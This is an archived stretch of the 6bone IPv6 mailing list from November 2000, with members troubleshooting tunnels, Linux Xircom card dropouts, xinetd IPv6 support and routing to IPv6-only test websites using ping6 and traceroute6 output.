> One of us thinks the other is talking about something completly
> different.  tun0 is my PPP connection.. When I dial into my ISP, i use
> the tun0 interface to get my IPv4 connection.  When I run the perl
> script provided by Freenet6, the only thing it should be doing is
> assigning the gif0 interface my PPP IP, and then my IPv6 tunnel
> endpoint.  I do have a static IP on my PPP connection.
> 
> Maybe, now that I have tried to clear this up a little, we can get
> somewhere.  Sorry if this is getting a bit tedious ;)
> 
> -Ben
> 
> *snip*
> > Yes-  but the endpoint of the tunnel has to be on the *same box*
> > you are wanting to run IPv6 because the endpoint will strip
> > off the IPv4 header.  If the v4 header is stripped off
> > at your gateway and not the host, the IPv6 packet has nowhere
> > to go.
> > 
> > (Use fixed width font to view below.)
> > 
> > 
> >                             +
> >                             |
> >              YOU            +        FreeNet
> >                             |
> >                             +
> > 
> >                gif0 ------------------ Freetunnel0
> >            192.145.217.55/24          196.27.56.10/24
> >     xl0                                                ethernet0
> > 3ffe:a:b:c::1 prefixlen 127                   3ffe:a:b:c::2 prefixlen
> 127

From 6bone-owner  Mon Nov  6 13:33:46 2000
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To: Niveda Monyvannan <niveda@indiainfo.com>
Cc: 6bone@ISI.EDU, users@ipv6.org, ipng@sunroof.eng.sun.com
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Telnet extensions for IPv6 
In-reply-to: Your message of Mon, 06 Nov 2000 12:41:31 +0530.
             <web-5813805@indiainfo.com> 
Date: Mon, 06 Nov 2000 15:33:24 -0600
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>             where can i find the spec/draft for telnet extensions for
> supporting IPv6 

Not to be flippant, but "What extensions?"  The telnet protocol
doesn't need any extensions, once your TCP understands how to do the
pseudo-header checksum when IPv6 is the network layer.

Ah, if you mean extensions to a particular telnet *program*, that's
up to the author or vendor of the program, not the IETF.

From 6bone-owner  Tue Nov  7 00:12:25 2000
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Date: Tue, 7 Nov 2000 09:12:08 +0100 (CET)
From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: 6bone@ISI.EDU
Subject: IPv6 linux-problem 
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Greetings,

Does anybody know if the is a mailing-list or usenet-group for
IPv6-related problems on linux?


In the mean while, here is already a question about my problem:
Technical data:
Toshiba Laptop (Satellite Pro 420CDT).
Mandrake 7.1
kernel: 2.2.15-4mdkfb (recompiled to enable IPv6)
ethernet-card: Xircom CEM56 Ethernet/Modem (PCMCIA)

When I boot the PC, everything is OK. I get a correct IPv6 address, the
linux finds the router, and I am able to ping6 everything on the 6bone.

But, after a while (about 5 to 10 minutes I guess), I cannot reach
anything at all.
Even a 'ping6' of my local IPv6-router doesn't work anymore ('Address
unreachable', If I remember correctly).

The only thing that helps is:
- ifconfig eth0 down
- ifconfig eth0 up
(still nothing)
- ping <IFv4-address of IPv6-router).

(Remark: it's the IPv4 (!) address of router I must ping).

Some 5 to 10 minutes later: again the same problem.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Tue Nov  7 00:36:58 2000
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From: Keith Owens <kaos@ocs.com.au>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 linux-problem 
In-reply-to: Your message of "Tue, 07 Nov 2000 09:12:08 BST."
             <Pine.LNX.4.21.0011070900470.805-100000@frigg.belbone.net> 
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On Tue, 7 Nov 2000 09:12:08 +0100 (CET), 
Kristoff Bonne <kristoff.bonne@skypro.be> wrote:
>Does anybody know if the is a mailing-list or usenet-group for
>IPv6-related problems on linux?

linux-net is about the closest.

>In the mean while, here is already a question about my problem:
>Technical data:
>Toshiba Laptop (Satellite Pro 420CDT).
>Mandrake 7.1
>kernel: 2.2.15-4mdkfb (recompiled to enable IPv6)
>ethernet-card: Xircom CEM56 Ethernet/Modem (PCMCIA)
>
>When I boot the PC, everything is OK. I get a correct IPv6 address, the
>linux finds the router, and I am able to ping6 everything on the 6bone.
>
>But, after a while (about 5 to 10 minutes I guess), I cannot reach
>anything at all.
>Even a 'ping6' of my local IPv6-router doesn't work anymore ('Address
>unreachable', If I remember correctly).
>
>The only thing that helps is:
>- ifconfig eth0 down
>- ifconfig eth0 up
>(still nothing)
>- ping <IFv4-address of IPv6-router).
>
>(Remark: it's the IPv4 (!) address of router I must ping).

It sounds like your card is loosing its MAC filter, that is a common
problem with the Xircom cards.  IPv6 regularly looks at its local
environment, that requires multicast which makes the xircom driver
reload the MAC filter on the card.  There is a timing problem (which we
could never track down) where the load of the MAC filter silently
fails.  The result is that the card stops responding to packets.  This
problem is not just IPv6, it affects v4 as well.  I find that

 ifconfig eth0 -promisc; ping -c1 local-router

usually fixes my CBEM56G.  Switching out of promiscuous mode reloads
the MAC filter, even if the card was not promiscuous to start off with.


From 6bone-owner  Tue Nov  7 01:25:21 2000
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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: <6bone@ISI.EDU>
Subject: Linux question
Date: Tue, 7 Nov 2000 11:25:12 +0200
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Hello,

I am running RedHat Linux 6.2, and I am following the HOWTO-IPv6
instructions of Peter Bieringer in order to install IPv6. My system has
successfully obtained an IPv6 address and I try to telnet to it using this
address without success (Connection refused message). Is it related to the
config of /etc/xinetd.conf? Do I have to declare something special about an
IPv6 enabled service???

Thank you in advance for the answers,


Vicky Kontogianni
Network Technologies Sector
Computer Technology Institute
Patras - GREECE

Tel. +30 61  960377
e-mail: kontogia@cti.gr


From 6bone-owner  Tue Nov  7 05:42:31 2000
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: BOUNCE 6bone@zephyr.isv6-dnssec workshop
To: 6bone@ISI.EDU
Date: Tue, 7 Nov 2000 05:42:24 -0800 (PST)
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 Due to some email anomolies, this notice was not delivered to all intended
 recipients. I am sorry for duplicates.  Please note that to participate, you
 -MUST- have a valid IPv6 delegation and you must send me a note indicating 
 your intent to attend prior to the workshop. Due to the nature of the workshop,
 walk-ins will not be able to particpate.
 
 	--------------------------------------------------------------
 
 
  For planning purposes...
  
  A while back I asked if there was interest in holding a DNSSEC workshop 
  for IPv6 native machines. We missed the last workshop after NANOG20 so 
  it seems that holding one in conjunction with the IETF-49 meeting might be
  the best fit for many potential participants. There was enough of a 
  response to begin the planning process and we now have a room reserved.
  
  Here are the logistics for those needing to make travel arrangements.
  
  Where: Sheraton San Diego Hotel & Marina (The IETF-49 venue)
  1380 Harbor Island Drive
  San Diego, CA 92101-1092
  Phone: 1-619-291-2900
  Fax: 1-619-692-2337
  
  When: Friday and Saturday  --  15th and 16th December 2000
  
  Signing up: Send me email <bmanning@karoshi.com>.  There are only 30 slots 
  so signing up early will ensure you have a seat. 
  
  Cost: $0 US
  
  What to bring: A computer (laptop) capable of running the latest BIND 9
  code (see ftp://ftp.isc.org/isc/bind9/), with that code installed.  A 
  working IPv6 stack. Also, bring a cat 5 cable. 
  
  As far as external Internet connectivity, we anticipate full IPv6 connectivity
  since the workshop will depend on access to the IPv6 root cluster. :)
  
  Specific homework assignments will be sent to the registered participants
  that should be done prior to the workshop.
  
  Thanks to EP.NET, LLC. and Greenflash consulting for coordination of the
  facilities.
  
--bill

From 6bone-owner  Tue Nov  7 08:34:21 2000
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To: Kontogianni Vicky <kontogia@cti.gr>
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The xinetd packages commonly available don't have inet6 compiled in. Get the
fixed packages from ipv6.dialtoneinternet.net - jc

Kontogianni Vicky wrote:
> 
> Hello,
> 
> I am running RedHat Linux 6.2, and I am following the HOWTO-IPv6
> instructions of Peter Bieringer in order to install IPv6. My system has
> successfully obtained an IPv6 address and I try to telnet to it using this
> address without success (Connection refused message). Is it related to the
> config of /etc/xinetd.conf? Do I have to declare something special about an
> IPv6 enabled service???
> 
> Thank you in advance for the answers,
> 
> Vicky Kontogianni
> Network Technologies Sector
> Computer Technology Institute
> Patras - GREECE
> 
> Tel. +30 61  960377
> e-mail: kontogia@cti.gr

-- 
John Comeau - Chief Technology Officer 
Dialtone Internet - Extremely Fast Web Systems 
phone://954-581-0097x113  fax://954-581-7629 
mailto://jcomeau@dialtoneinternet.net  http://www.dialtoneinternet.net

From 6bone-owner  Tue Nov  7 14:57:28 2000
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From: Mark Smith <Mark.Smith@au.uu.net>
To: "'Kristoff Bonne'" <kristoff.bonne@skypro.be>, 6bone@ISI.EDU
Subject: RE: IPv6 linux-problem 
Date: Wed, 8 Nov 2000 09:56:39 +1100 
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Hi,

There are known reliability issues with the Xirom pcmcia cards and the linux
pcmcia drivers.

I have the RBEM56G-100, and have had some networking issues, in particular,
using tcpdump/ethereal to perform packet sniffs - it works initially, but as
soon as I stop tcpdump, I have to perform the same sort of re-initialisation
of the card Kristoff lists below to be able to use it for standard ipv4
stuff.

I am currently using pcmcia-cs version 3.1.19. I tried using 3.1.21, and the
problems were worse - from memory, the card wouldn't even initialise
properly at boot.

Recently, I briefly tried ipv6 under linux with this network card, after I
got a ipv6 router going, and got no where. I haven't had a chance to look
into it further. The card did not seem to be processing router
advertisments.

There is a discussion of the issues here
https://sourceforge.net/forum/forum.php?forum_id=33427

regards,
Mark.

--
mark smith
uunet asia pacific
product engineering - uusecure vpn centre of excellence
(e) mark.smith@au.uu.net (w) http://www.au.uu.net
(p) +61 2 9434 5014 (m) +61 4 1224 4871 (f) +61 2 9437 5888


> -----Original Message-----
> From: Kristoff Bonne [mailto:kristoff.bonne@skypro.be]
> Sent: Tuesday, 7 November 2000 19:12
> To: 6bone@ISI.EDU
> Subject: IPv6 linux-problem 
> 
> 
> Greetings,
> 
> Does anybody know if the is a mailing-list or usenet-group for
> IPv6-related problems on linux?
> 
> 
> In the mean while, here is already a question about my problem:
> Technical data:
> Toshiba Laptop (Satellite Pro 420CDT).
> Mandrake 7.1
> kernel: 2.2.15-4mdkfb (recompiled to enable IPv6)
> ethernet-card: Xircom CEM56 Ethernet/Modem (PCMCIA)
> 
> When I boot the PC, everything is OK. I get a correct IPv6 
> address, the
> linux finds the router, and I am able to ping6 everything on 
> the 6bone.
> 
> But, after a while (about 5 to 10 minutes I guess), I cannot reach
> anything at all.
> Even a 'ping6' of my local IPv6-router doesn't work anymore ('Address
> unreachable', If I remember correctly).
> 
> The only thing that helps is:
> - ifconfig eth0 down
> - ifconfig eth0 up
> (still nothing)
> - ping <IFv4-address of IPv6-router).
> 
> (Remark: it's the IPv4 (!) address of router I must ping).
> 
> Some 5 to 10 minutes later: again the same problem.
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE                                      belgacom 
> internet backbone
> (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International 
> Connectivity
> kristoff@belbone.net                            fax: +32 2 2435122
> 

From 6bone-owner  Wed Nov  8 00:27:16 2000
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From: "Johan Verelst" <tcp6@mail.be>
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Thanks Vicky, it works now I should have noticed this it was mentioned in the /etc/nsswitch.dns file. I feel like a compleet fool.
Thanks again.

Some more tips?
I have found a template (finally) at sun.com but the nslookup command still says: Can't find server name for etc...
Still, the ftp and ping and other stuff work like a charm.

>From: "Kontogianni Vicky" <kontogia@cti.gr>
>To: "'Johan Verelst'" <tcp6@mail.be>
>Cc: <6bone@ISI.EDU>
>Subject: RE: Solaris
>Date: Fri, 3 Nov 2000 09:53:48 +0200
>
>Check your /etc/nsswitch.conf file. It must have a line of the form:
>
>ipnodes:      files dns
>
>This is the way to instruct the IPv6 aware applications (like ping) to make
>use of the DNS.
>
>
>Vicky.
>
>
>
>


------------------------------------------------------------
Want a free mail at http://www.mail.be ?

From 6bone-owner  Wed Nov  8 06:00:18 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: Keith Owens <kaos@ocs.com.au>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 linux-problem 
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Greetings,

On Tue, 7 Nov 2000, Keith Owens wrote:
> >Does anybody know if the is a mailing-list or usenet-group for
> >IPv6-related problems on linux?
> linux-net is about the closest.
comp.os.linux.networking ??
(Or are you talking about a mailing-list).


>> When I boot the PC, everything is OK. I get a correct IPv6 address, the
>> linux finds the router, and I am able to ping6 everything on the 6bone.
> >But, after a while (about 5 to 10 minutes I guess), I cannot reach
> >anything at all.
> >Even a 'ping6' of my local IPv6-router doesn't work anymore ('Address
> >unreachable', If I remember correctly).
(...)

> It sounds like your card is loosing its MAC filter, that is a common
> problem with the Xircom cards.  IPv6 regularly looks at its local
> environment, that requires multicast which makes the xircom driver
> reload the MAC filter on the card.  There is a timing problem (which we
> could never track down) where the load of the MAC filter silently
> fails.  The result is that the card stops responding to packets.
In the mean while, I've set up another linux-box (same distribution but
3c509-card) and I do not have the problem overthere.

So, it does indead seams to be linked with the Xircom-card.

> This
> problem is not just IPv6, it affects v4 as well.
I've never had any problems with v4. Even when the v6 is 'stuck', I do not
have any problems with v4.

> I find that
>  ifconfig eth0 -promisc; ping -c1 local-router
> usually fixes my CBEM56G.  Switching out of promiscuous mode reloads
> the MAC filter, even if the card was not promiscuous to start off with.
Not really a solution of-course.
(I could try to put it in the cron-tab to run every minute ;-))

Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Wed Nov  8 06:00:19 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: RE: IPv6 linux-problem 
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Greetings Mark (and Keith and Jean-Louis who also replied)

On Wed, 8 Nov 2000, Mark Smith wrote:
> There are known reliability issues with the Xirom pcmcia cards and the linux
> pcmcia drivers.
Apparently not only the xircom-cards. ;-(

> I have the RBEM56G-100, and have had some networking issues, in particular,
> using tcpdump/ethereal to perform packet sniffs - it works initially, but as
> soon as I stop tcpdump, I have to perform the same sort of re-initialisation
> of the card Kristoff lists below to be able to use it for standard ipv4
> stuff.
Do mark that I never had any problems with v4. Even when v6 was 'stuck', I
was still able to use v4 without any problem.
The problem I had was purely in the v6-stack.


In the mean while, I've set up two more linux-boxes (using a 3c509-card),
and have found some other problem.
(Only I do not know if this actually a problem or a 'feature').

I had the idea -as in IPv6 IP-addresses are plentyfull- to set up some
additional IP-addresses (global unique) PER APPLICATION- to configure in
the boxes as additional IP-address.

So, in addition to the IP-address auto-configured by ND based on the
MAC-address, the boxes would have a number of IP-addresses based on the
applications that run on the box.
(E.g. DNS = 3FFE:80B0:1001:1:0:0:1:1, ping6 = 3FFE:80B0:1001:1:0:0:1:2,
...)

I noticed that -when you configure these additional IP-addresses,
v6-routing went completely wrong.
Althou the default-route (learned via ND) to the local IPv6-router was
still present when I did a 'netstat -rn -A inet6', the box sent all
packets destined outside the local LAN to its loopback-interface (a
traceroute had one hop: '::1' and then the bit-bucket).

Note: I still was able to ping6 the other v6-hosts on the LAN.

The only thing I could do was remove all v6 ip-addresses from the
ethernet-interface to clear-out all v6-routing entries via the
ethernet-interface and start all-over.

Is this a 'bug' or am I doing something wrong?

Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Wed Nov  8 11:45:19 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: 6bone@ISI.EDU
Subject: IPv6-only reachable (web)-site
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Greetings,

Does anybody know a (web)site that is only reachable in IPv6 (hence, on
the 6bone, but that does NOT have IPv4-reachability).

This is for a 'test of principle', so the actual content is not important.


Cheerio! Kr. Bonne.
-- 
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Wed Nov  8 18:54:06 2000
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'Kristoff Bonne'" <kristoff.bonne@skypro.be>, 6bone@ISI.EDU
Subject: RE: IPv6-only reachable (web)-site
Date: Wed, 8 Nov 2000 21:53:27 -0500 
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I believe that http://altavista.ipv6.digital.com/ is IPv6 only, but I may
be wrong.  Also, you can go to http://www.kame.net/ to verify IPv6 HTTP
connectivity.  There is an IPv6 version, but if you get to the IPv6 side,
you will find the dancing KAME on the top of the page.  Good luck!!


                                     =
                   Michael W. Oliver =
mailto:oliver.michael@gargantuan.com =
      http://michael.gargantuan.com/ =
Page me at mailto:1570482@skytel.com =
======================================


-----Original Message-----
From: Kristoff Bonne [mailto:kristoff.bonne@skypro.be]
Sent: Wednesday, November 08, 2000 2:42 PM
To: 6bone@ISI.EDU
Subject: IPv6-only reachable (web)-site


Greetings,

Does anybody know a (web)site that is only reachable in IPv6 (hence, on
the 6bone, but that does NOT have IPv4-reachability).

This is for a 'test of principle', so the actual content is not important.


Cheerio! Kr. Bonne.
--
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122

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------=_NextPart_000_0000_01C049CE.53135380--


From 6bone-owner  Thu Nov  9 03:20:25 2000
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Date: Thu, 9 Nov 2000 12:20:01 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6-only reachable (web)-site
Message-ID: <20001109122001.C29131@dillema.net>
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In-Reply-To: <Pine.LNX.4.21.0011082040330.716-100000@frigg.belbone.net>; from kristoff.bonne@skypro.be on Wed, Nov 08, 2000 at 08:42:26PM +0100
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On Wed, Nov 08, 2000 at 08:42:26PM +0100, Kristoff Bonne wrote:
> 
> Does anybody know a (web)site that is only reachable in IPv6 (hence, on
> the 6bone, but that does NOT have IPv4-reachability).
> 
> This is for a 'test of principle', so the actual content is not important.
If you try: http://www.pasta.cs.uit.no you will get a start page
telling whether you get there over v4 or v6. My home network is
reachable over v6 only, although my home-www-page has little content
you can use it as test of principle:

http://wwwhome.dillema.net

Feico.

From 6bone-owner  Thu Nov  9 04:20:21 2000
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To: kristoff.bonne@skypro.be, 6bone@ISI.EDU
Subject: RE: IPv6-only reachable (web)-site
Date: Thu, 9 Nov 2000 12:10:30 -0000 
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You can try www.ipv6.bt.com as it only has a AAAA record
Regards,
Stuart

> -----Original Message-----
> From: Kristoff Bonne [mailto:kristoff.bonne@skypro.be]
> Sent: 08 November 2000 19:42
> To: 6bone@ISI.EDU
> Subject: IPv6-only reachable (web)-site
> 
> 
> Greetings,
> 
> Does anybody know a (web)site that is only reachable in IPv6 
> (hence, on
> the 6bone, but that does NOT have IPv4-reachability).
> 
> This is for a 'test of principle', so the actual content is 
> not important.
> 
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE (HOME)                               belgacom 
> internet backbone
> (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International 
> Connectivity
> kristoff@belbone.net                            fax: +32 2 2435122
> 

From 6bone-owner  Thu Nov  9 05:47:52 2000
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From: Jonathan Guthrie <jguthrie@brokersys.com>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: IPv6-only reachable (web)-site
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On Wed, 8 Nov 2000, Kristoff Bonne wrote:

> Does anybody know a (web)site that is only reachable in IPv6 (hence, on
> the 6bone, but that does NOT have IPv4-reachability).

> This is for a 'test of principle', so the actual content is not important.

I always use www.ipv6.eye-net.com.au for my tests.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA


From 6bone-owner  Thu Nov  9 15:46:39 2000
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References: <Pine.LNX.4.21.0011082040330.716-100000@frigg.belbone.net>
Subject: Re: IPv6-only reachable (web)-site
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Hello,

From: "Kristoff Bonne" <kristoff.bonne@skypro.be>
To: <6bone@ISI.EDU>

> Does anybody know a (web)site that is only reachable in IPv6 (hence, on
> the 6bone, but that does NOT have IPv4-reachability).

A test ipv6 web server with only a "AAAA" :
http://garsrv.stben.be/index.html

Bye,
Jean-Louis


From 6bone-owner  Fri Nov 10 00:37:13 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: Feico Dillema <feico@pasta.cs.uit.no>
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Subject: Re: IPv6-only reachable (web)-site
In-Reply-To: <20001109122001.C29131@dillema.net>
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Greetings,

On Thu, 9 Nov 2000, Feico Dillema wrote:
> > Does anybody know a (web)site that is only reachable in IPv6 (hence, on
> > the 6bone, but that does NOT have IPv4-reachability).
> > This is for a 'test of principle', so the actual content is not important.

> If you try: http://www.pasta.cs.uit.no you will get a start page
> telling whether you get there over v4 or v6. My home network is
> reachable over v6 only, although my home-www-page has little content
> you can use it as test of principle:
> http://wwwhome.dillema.net

Thanks.

I did notice however that a traceroute from Belgium to Norway went over
Japan.
Well, it's not via the US (as would be the case for IPv4), but hardly
optimal neither. ;-)

Isn't there any co-operation on European level for this kind of stuff?
(e.g. ten-155?)


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Fri Nov 10 00:37:15 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: stuart.prevost@bt.com
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Subject: RE: IPv6-only reachable (web)-site
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Greetings,

On Thu, 9 Nov 2000 stuart.prevost@bt.com wrote:

> You can try www.ipv6.bt.com as it only has a AAAA record

I cannot reach that site.
Is it supposed to be up?

Cheerio! Kr. Bonne/
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Fri Nov 10 00:37:16 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: "Michael W. Oliver" <oliver.michael@gargantuan.com>
Cc: 6bone@ISI.EDU
Subject: RE: IPv6-only reachable (web)-site
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Greetings,

On Wed, 8 Nov 2000, Michael W. Oliver wrote:
> I believe that http://altavista.ipv6.digital.com/ is IPv6 only, but I may
> be wrong.  Also, you can go to http://www.kame.net/ to verify IPv6 HTTP
> connectivity.  There is an IPv6 version, but if you get to the IPv6 side,
> you will find the dancing KAME on the top of the page.  Good luck!!

The web-site of altavista does not seams to be active anymore, but I do
get the dancing KAME on their web-site.

Thanks (and also to everybody elso who replied).

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Fri Nov 10 01:32:43 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: 6bone@ISI.EDU
Subject: 6bone feed towards SE-Asia and North-America
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Greetings,

Althou I do not want to complain about the service of my current
IPv6-provider (belnet), I a looking to expand my 6bone-connectivity with
additional peerings (or feeds).

I am looking towards SA-Asia (as a lot of the IPv6-developement seams
to be done overthere) and North-America.
On IPv4-level, we have connectivity to SA-Asia via the STIX (Singtel), and
towards the USA via BBN/GTE/IPergy and Exodus.


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


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Subject: RE: IPv6-only reachable (web)-site
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Organisation: SURFnet bv
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On Fri, 10 Nov 2000, Kristoff Bonne wrote:

> > You can try www.ipv6.bt.com as it only has a AAAA record
> 
> I cannot reach that site.
> Is it supposed to be up?

It worked (and works) for me. Did you do a traceroute?

	rvdp


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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: Ronald.vanderPol@surfnet.nl
Cc: Kristoff Bonne <kristoff.bonne@skypro.be>, stuart.prevost@bt.com,
        6bone@ISI.EDU
Subject: RE: IPv6-only reachable (web)-site
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Gegroet/Greetings,


On Fri, 10 Nov 2000 Ronald.vanderPol@surfnet.nl wrote:
>>> You can try www.ipv6.bt.com as it only has a AAAA record
>> I cannot reach that site.
>> Is it supposed to be up?
> It worked (and works) for me. Did you do a traceroute?

Yep, see below:
[root@odin /root]# traceroute6 www.ipv6.bt.com
traceroute to www.ipv6.bt.com (2001:618:5:20:2c0:4fff:fe43:8e6c) from
3ffe:80b0:1001:1:2a0:24ff:feb7:6d23, 30 hops max, 16 byte packets
 1  r-tgx.ipv6.belbone.net (3ffe:80b0:1001:1:260:5cff:fef3:610c)  2.468 ms 
*  2.215 ms
 2  t9.ipv6.science.belnet.net (3ffe:608:2:2::10)  14.047 ms *  13.59 ms
 3  3ffe:8038:80:14::1 (3ffe:8038:80:14::1)  39.805 ms *  39.812 ms
 4  3ffe:8038:80:4::2 (3ffe:8038:80:4::2)  57.208 ms *  59.528 ms
 5  3ffe:2100:1:11:60:3e59:27fa:2 (3ffe:2100:1:11:60:3e59:27fa:2)  81.63
ms *  92.652 ms
 6  * * *
 7  * * *
(...)

The packet-loss in hops 1 to 5 seams to be 'normal', I get in in all
'traceroute6's I do and a ping6 to the IP-address of hop5 shows no
packet-loss.
Althou, oddly enough, I get respondse-time which are much larger than the 
one I get using traceroute: between 200 and 240 ms.
(see below)
[root@odin /root]# ping6 3ffe:2100:1:11:60:3e59:27fa:2
PING 3ffe:2100:1:11:60:3e59:27fa:2(3ffe:2100:1:11:60:3e59:27fa:2) 56 data
bytes
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=0 hops=58 time=439.2 
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=1 hops=58 time=396.5
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=2 hops=58 time=296.0
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=3 hops=58 time=233.6
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=4 hops=58 time=230.3
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=5 hops=58 time=230.0
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=6 hops=58 time=226.7
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=7 hops=58 time=234.6
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=8 hops=58 time=236.4
ms
64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=9 hops=58 time=232.7
ms


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Fri Nov 10 03:11:51 2000
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To: kristoff.bonne@skypro.be, Ronald.vanderPol@surfnet.nl
Cc: 6bone@ISI.EDU
Subject: RE: IPv6-only reachable (web)-site
Date: Fri, 10 Nov 2000 11:04:08 -0000
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Hello,

Please try now, I shutdown a peer that was advertising your prefix and I can
now reach you

ASTERIX#ping 3ffe:80b0:1001:1:260:5cff:fef3:610c

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 3FFE:80B0:1001:1:260:5CFF:FEF3:610C,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 276/356/636 ms

Regards,
Stuart

> -----Original Message-----
> From: Kristoff Bonne [mailto:kristoff.bonne@skypro.be]
> Sent: Friday, November 10, 2000 11:02 AM
> To: Ronald.vanderPol@surfnet.nl
> Cc: Kristoff Bonne; stuart.prevost@bt.com; 6bone@isi.edu
> Subject: RE: IPv6-only reachable (web)-site
> 
> 
> Gegroet/Greetings,
> 
> 
> On Fri, 10 Nov 2000 Ronald.vanderPol@surfnet.nl wrote:
> >>> You can try www.ipv6.bt.com as it only has a AAAA record
> >> I cannot reach that site.
> >> Is it supposed to be up?
> > It worked (and works) for me. Did you do a traceroute?
> 
> Yep, see below:
> [root@odin /root]# traceroute6 www.ipv6.bt.com
> traceroute to www.ipv6.bt.com (2001:618:5:20:2c0:4fff:fe43:8e6c) from
> 3ffe:80b0:1001:1:2a0:24ff:feb7:6d23, 30 hops max, 16 byte packets
>  1  r-tgx.ipv6.belbone.net 
> (3ffe:80b0:1001:1:260:5cff:fef3:610c)  2.468 ms 
> *  2.215 ms
>  2  t9.ipv6.science.belnet.net (3ffe:608:2:2::10)  14.047 ms 
> *  13.59 ms
>  3  3ffe:8038:80:14::1 (3ffe:8038:80:14::1)  39.805 ms *  39.812 ms
>  4  3ffe:8038:80:4::2 (3ffe:8038:80:4::2)  57.208 ms *  59.528 ms
>  5  3ffe:2100:1:11:60:3e59:27fa:2 
> (3ffe:2100:1:11:60:3e59:27fa:2)  81.63
> ms *  92.652 ms
>  6  * * *
>  7  * * *
> (...)
> 
> The packet-loss in hops 1 to 5 seams to be 'normal', I get in in all
> 'traceroute6's I do and a ping6 to the IP-address of hop5 shows no
> packet-loss.
> Althou, oddly enough, I get respondse-time which are much 
> larger than the 
> one I get using traceroute: between 200 and 240 ms.
> (see below)
> [root@odin /root]# ping6 3ffe:2100:1:11:60:3e59:27fa:2
> PING 
> 3ffe:2100:1:11:60:3e59:27fa:2(3ffe:2100:1:11:60:3e59:27fa:2) 56 data
> bytes
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=0 
> hops=58 time=439.2 
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=1 
> hops=58 time=396.5
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=2 
> hops=58 time=296.0
> ms
